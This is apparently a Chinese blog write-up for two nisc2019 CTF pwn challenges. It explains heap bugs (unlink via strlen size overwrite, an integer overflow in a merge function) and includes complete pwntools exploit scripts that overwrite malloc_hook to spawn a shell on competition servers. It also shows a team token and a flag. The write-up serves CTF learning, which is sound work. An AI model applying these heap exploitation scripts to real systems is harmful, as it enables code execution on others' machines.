nisc2019 PWN writeup

nisc2019

前言

昨天跟队里打(学习)的一场比赛,团队零贡献,又是看七哥姚老板日天的一天。。

one_string

漏洞利用

程序是静态编译的,Edit里会用Strlen修改对应的size,下次Edit根据这个size编辑,因此可以分配0x28之类的chunk,strlen的时候连上size即可覆写后面的size,可以unlink,可以fastbin attack,最终修改0x0804ea4d8的malloc_hook为shell_code_addr(在bss里)我这里用的Unlink,本地通了就没调了

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#coding=utf-8
import time
from pwn import *
context.update(arch='i386',os='linux',log_level='DEBUG')
context.terminal = ['tmux','split','-h']
debug = 1
elf = ELF('./pwn')

if debug:
#libc = ELF('/lib/i386-linux-gnu/libc.so.6')
p = process('./pwn')
#gadgets = [0x3ac5c,0x3ac5e,0x3ac62,0x3ac69,0x5fbc5,0x5fbc6]
else:
#gadgets = [0x3a80c,0x3a80e,0x3a812,0x3a819,0x5f065,0x5f066]
#libc = ELF('./x86_libc.so.6')
p = remote('df0a72047d6c.gamectf.com',10001)

def wait(interval=0.3):
time.sleep(interval)

def Malloc(size,content):
p.sendline('1')
p.sendline(str(size))
wait()
p.send(content)

def Free(index):
p.sendline('2')
p.sendline(str(index))


def Edit(index,new_content):
p.sendline('3')
p.sendline(str(index))
wait(0.1)
p.send(new_content)

def exp():
if not debug:
p.recvuntil('Please input you token:\n')
p.sendline('icq16d3378b212336b61cfd024813f31')
wait()
#p.recvuntil('You know all, Please input:')
#
fd = 0x080eba00 + 4*19 - 0xc
bk = 0x080eba00 + 4*19 - 0x8
payload = 'a'*4+p32(0x10)+p32(fd)+p32(bk)
Malloc(0x40,'a'*4+'\n')#0
Malloc(0x14,'a'*4+'\n')#1
Malloc(0x14,'a'*4+'\n')#2
Malloc(0x14,'a'*0x14)#3
Malloc(0x40,'a'*4+'\n')#4
Malloc(0x18,'a'*4)#5

wait(0.1)
p.sendline()
Edit(3,'b'*0x14)
Edit(3,payload+p32(0x10)+'\x48')


Free(4)
malloc_hook = 0x80EA4D8
bss_base = elf.bss()
Edit(3,p32(bss_base)+'\n')

p.sendline()
Edit(0,asm(shellcraft.i386.linux.sh())+'\n')

#


Edit(3,p32(malloc_hook))
p.sendline()

Edit(0,p32(bss_base)+'\n')
gdb.attach(p,'b* 0x08048b46')

p.sendline('1')
p.sendline('40')

p.interactive()


exp()

two_string

程序逻辑&漏洞利用

可以Create Display Delete,其中Delete之后没有清空chunk内容,可以malloc(0)避免写入,从而泄露堆地址和libc地址。
Merge strings里的total_size是4字节的,而计算它的时候没有对其进行检查,从而可以构造0x100000068之类的total_size来分配0x68的chunk,大部分时间都花在找size了。。,最终的total_size由x*8+y+z构成,x是一个较大的数,y为0x100,z为我们要分配的chunk大小,最终z为0x400,使得可以覆写chunk后面那个0x10的块的size,造成overlap chunk,最终Fastbin attack可以修改malloc_hook

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
unsigned __int64 Merges()
{
int j; // [rsp+10h] [rbp-50h]
unsigned int free_index; // [rsp+10h] [rbp-50h]
int k; // [rsp+10h] [rbp-50h]
int i; // [rsp+14h] [rbp-4Ch]
signed int total_size; // [rsp+18h] [rbp-48h]
signed int size; // [rsp+1Ch] [rbp-44h]
signed int isOverSize; // [rsp+20h] [rbp-40h]
unsigned int new_index; // [rsp+24h] [rbp-3Ch]
_BYTE *ptr; // [rsp+28h] [rbp-38h]
int index_arr[10]; // [rsp+30h] [rbp-30h]
unsigned __int64 v11; // [rsp+58h] [rbp-8h]

v11 = __readfsqword(0x28u);
printf("Please enter a sequence of strings to be merged : ");
size = 0x400;
ptr = malloc(0x400uLL);
if ( !ptr )
{
puts("Malloc error!");
exit(-1);
}
for ( i = 0; ; ++i )
{
_isoc99_scanf("%d", &index_arr[i]);
if ( (unsigned __int8)getchar() == '\n' || i == 9 )
break;
}
if ( !i )
{
puts("Merge completed!");
LABEL_38:
free(ptr);
return __readfsqword(0x28u) ^ v11;
}
total_size = 0;
isOverSize = 0;
for ( j = 0; j <= i; ++j )
{
if ( index_arr[j] < 0 && (unsigned int)index_arr[j] > 0x1F || !qword_202040[index_arr[j]] )
{
puts("Some error!");
goto LABEL_38;
}
if ( total_size > 0x400 && !isOverSize )
isOverSize = 1;
total_size += qword_202040[index_arr[j]][1];// overflow
}
if ( isOverSize )
{
ptr = realloc(ptr, total_size);
if ( !ptr )
{
puts("Malloc error!");
exit(-1);
}
size = total_size;
}
for ( free_index = 0; free_index <= 0x1F && qword_202040[free_index]; ++free_index )
;
if ( free_index == 0x20 )
{
puts("Full! you can't apply for more.");
goto LABEL_38;
}
new_index = free_index;
*ptr = 0;
for ( k = 0; k <= i; ++k )
strcat(ptr, (const char *)*qword_202040[index_arr[k]]);// ?
qword_202040[new_index] = malloc(0x10uLL);
if ( !qword_202040[new_index] )
{
puts("Malloc error!");
exit(-1);
}
*qword_202040[new_index] = ptr;
qword_202040[new_index][1] = size;
printf("String creation success! Index is : %d\n", new_index);
return __readfsqword(0x28u) ^ v11;
}

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
#coding=utf-8
from pwn import *
context.update(arch='amd64',os='linux',log_level='DEBUG')
context.terminal = ['tmux','split','-h']
debug = 0
elf = ELF('./pwn')


if debug == 1:
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./pwn')
libc_offset = 0x3c4b20
gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]

elif debug == 2:
libc = ELF('./libc.so.6')
#p = remote('a32f094e35d7.gamectf.com',20001)
p = process('./pwn', env={'LD_PRELOAD': './libc.so.6'})
libc_offset = (0x7f1189befb00-0x7f118982e000)
gadgets = [0x45556,0x455aa,0xf1691,0xf2519]
else:
libc = ELF('./libc.so.6')
p = remote('a32f094e35d7.gamectf.com',20001)
libc_offset = (0x7f1189befb00-0x7f118982e000)
gadgets = [0x45556,0x455aa,0xf1691,0xf2519]

def Create(size,content):
p.recvuntil('>>> ')
p.sendline('1')
p.recvuntil("Please enter the size of string : ")
p.sendline(str(size))
p.recvuntil("Please enter the string : ")
p.sendline(content)

def Display(index):
p.recvuntil('>>> ')
p.sendline('2')
p.recvuntil("Please input index : ")
p.sendline(str(index))

def Delete(index):
p.recvuntil('>>> ')
p.sendline('3')
p.recvuntil("Please input index : ")
p.sendline(str(index))

def Merge(first_index,second_index):
p.recvuntil('>>> ')
p.sendline('4')
p.recvuntil('Please enter the first string index : ')
p.sendline(str(first_index))
p.recvuntil('Please enter the second string index : ')
p.sendline(str(second_index))

def Merges(index_lis):
p.recvuntil('>>> ')
p.sendline('5')
p.recvuntil('Please enter a sequence of strings to be merged : ')
payload = ""
for item in index_lis:
payload += str(item)+" "
payload = payload[:-1]
p.sendline(payload)


def exp():
#leak heap
Create(0x30,'a'*8)#0
Create(0x30,'a'*8)#1
Create(0x80,'a'*8)#2
Create(0xfff,'a'*8)#3
Delete(0)
Delete(1)
p.recvuntil('>>> ')
p.sendline('1')
p.recvuntil("Please enter the size of string : ")
p.sendline("0")#0
Display(0)
p.recvuntil('Notes are : ')
heap_base = u64(p.recvline().strip('\n').ljust(8,'\x00')) - 0x40
log.success('heap base => ' + hex(heap_base))
#leak libc
Delete(2)
Create(0x30,'a'*8)#1
p.recvuntil('>>> ')
p.sendline('1')
p.recvuntil("Please enter the size of string : ")
p.sendline("0")#2
Display(2)
p.recvuntil('Notes are : ')
libc_base = u64(p.recvline().strip('\n').ljust(8,'\x00')) - 88 - 0x80 - libc_offset
log.success('libc base => ' + hex(libc_base))
raw_input()

fake_chunk = libc_base + libc.symbols['__malloc_hook'] - 0x23
shell_addr = libc_base + gadgets[3]
#get shell
#test
Create(0xd0,'')#4
Create(0x1a,'')#5
Merges([4]*8)#6 0x680


Merges([6]*8)#7 0x3400
Merges([7]*8+[5])#8 0x1a01a
Merges([8]*7)#9 0xb60b6

Merges([9]*9)#10 0x666666
Merges([10]*8)#11 0x3333330
Merges([11]*2)#12 0x6666660

Merges([11]*8+[12])#13 0x1fffffe0

Create(0x100,'a'*9+'\x21\x01')#14
Create(0x400,'a'*0x3ff)#15
Create(0x10,'a')#16
Create(0x400,'a')#17
Create(0x68,'')#18
Create(0x68,'')#19
Create(0x68,'')#20
Create(0x10,'')#21
Create(0x68,'')#22
Delete(16)
Delete(17)
Create(0x10,'a')#16

Merges([13]*8+[15]+[14])#17


Delete(16)
Delete(18)
Create(0xa0,'a'*0x10+p64(0)+p64(0x71)+p64(fake_chunk))

#gdb.attach(p)
Create(0x68,'a')
#gdb.attach(p)

Create(0x68,'\x00'*0x13+p64(shell_addr))


p.interactive()

exp()
#flag{458a6246278b42eef7f6a2f36cb4f830}

收获

第二道题的那个4字节的地方我看到了,结果没反应过来就过去了,最终洞都没找到,很僵硬- -,找洞真的好难。
比赛用的是libc 2.24,找这个花了很久,看另一个师傅的wp学到了pwntools给的方法

1
libcdb.search_by_md5('cfcef452ef69ea2dd73d6f55d7607c2b')

realloc这个好像不太一样,最后那部分构造chunk花了好久,得找个时间总结一下。

您的支持将鼓励我继续创作